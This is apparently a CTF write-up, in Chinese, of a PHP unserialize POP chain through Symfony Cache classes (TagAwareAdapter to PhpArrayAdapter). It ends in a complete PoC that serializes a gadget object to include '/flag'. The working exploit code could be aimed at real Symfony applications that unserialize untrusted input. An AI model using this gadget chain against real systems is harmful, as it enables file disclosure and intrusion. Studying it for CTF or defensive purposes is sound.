1.__destruct()
在src/Symfony/Component/Cache/Adapter/TagAwareAdapter.php
下的__destruct
方法
跟进commit
方法
继续跟进invalidateTags
方法
2.invalidateTagsa()
发现这里调用了
$this->pool->saveDeferred()
其中$this->pool
是我们可控的
但是在__construct()
方法中 可以看到规定了$this->pool
需要来自AdapterInterface
接口
所以得找个实现AdapterInterface
这个接口的类的saveDeferred()
方法
找到一个符合的
需要一个CacheItemInterface
接口的参数,但是在利用过程中用不上,随便找一个类就好了
其中当null === $this->values
时(默认符合),会调用initialize
方法
跟进initialize
方法
到了Pop链的终点
有一个可以利用的include 我们可以直接include flag
最终Poc如下:
<?php
namespace Symfony\Component\Cache{
final class CacheItem
{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class TagAwareAdapter
{
private $deferred;
private $pool;
public function __construct()
{
$this->deferred=array("xux"=>new CacheItem());
$this->pool=new PhpArrayAdapter();
}
}
class PhpArrayAdapter
{
private $file='/flag';
}
$a=new TagAwareAdapter();
echo urlencode(serialize($a));
}